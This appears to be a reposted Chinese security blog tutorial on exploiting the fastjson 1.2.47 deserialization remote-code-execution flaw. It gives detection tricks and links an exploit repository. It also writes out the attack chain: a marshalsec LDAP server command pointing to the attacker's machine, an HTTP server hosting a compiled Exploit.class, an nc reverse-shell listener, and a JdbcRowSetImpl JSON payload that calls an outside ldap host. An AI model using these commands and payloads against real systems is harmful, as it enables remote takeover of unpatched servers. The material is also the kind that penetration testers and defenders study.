zoukankan      html  css  js  c++  java
  • fastjson<=1.2.47反序列化RCE漏洞

    更新:2020_01_28

    介绍:fastjson是一个Java语言编写的高性能功能完善的JSON库。

    漏洞原因: checkAutoType黑名单中可绕过

    检测方法:

    第一种:

    json数据{"age":"25","name":"2"},回显正常

    {"age":"25","name":"2""},多了一个双引号,回显报错

    例如:多一个}也一样会报错

    第二种:

    fastjson 与 jackson区别,如果请求包中的 json 如下:

    {"name":"S", "age":21}
    追加一个随机 key ,修改 json 为
    {"name":"S", "age":21,"zpchcbd":123}
    

    这里 fastjson 是不会报错的, 但是Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多key,所以会报错,服务器的响应包中多少会有异常回显。


    利用过程:

    漏洞利用文件:https://github.com/CaijiOrz/fastjson-1.2.47-RCE

    攻击机器的java版本如下:

    1、开始相应的服务:

    ldap服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻击机器的ip/#Exploit

    http服务python -m http.server 8888

    2、在攻击机上把Exploit.java编译好的Exploit.class字节码放在http服务的目录中

    3、利用payload如下:

    4、开启nc监听反弹:nc -lvvp 8888,反弹shell成功


    注意点:

    第一点:如下jdk版本不存在漏洞

    原因:java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

    第二点:Exploit.java漏洞利用文件最好用低版本的java环境编译,因为java是向下兼容的,防止目标环境加载的时候运行报错,最好是jdk1.6

    第三点:如果是json字符串中name字段存在反序列化的情况

    {"id":"1","name":"wangwei"}

    那么poc就是

    {
    "id":"1",
    
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"},
        "x":{"@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":
        "ldap://fatjaon.tuq75v.ceye.io",
        "autoCommit":true
        }
    }
    

    参考文章:https://xz.aliyun.com/t/7104

  • 相关阅读:
    九章算术卷第二 粟米
    九章算术卷第一 方田
    九章算术卷第一 方田
    九章算术 原序
    软件开发活动
    软件开发活动
    趣味程序之数学之美系列
    I00019 生成全8数
    Sagheer and Nubian Market CodeForces
    Codeforces Round #533 (Div. 2) A. Salem and Sticks(暴力)
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/11697706.html
Copyright © 2011-2022 走看看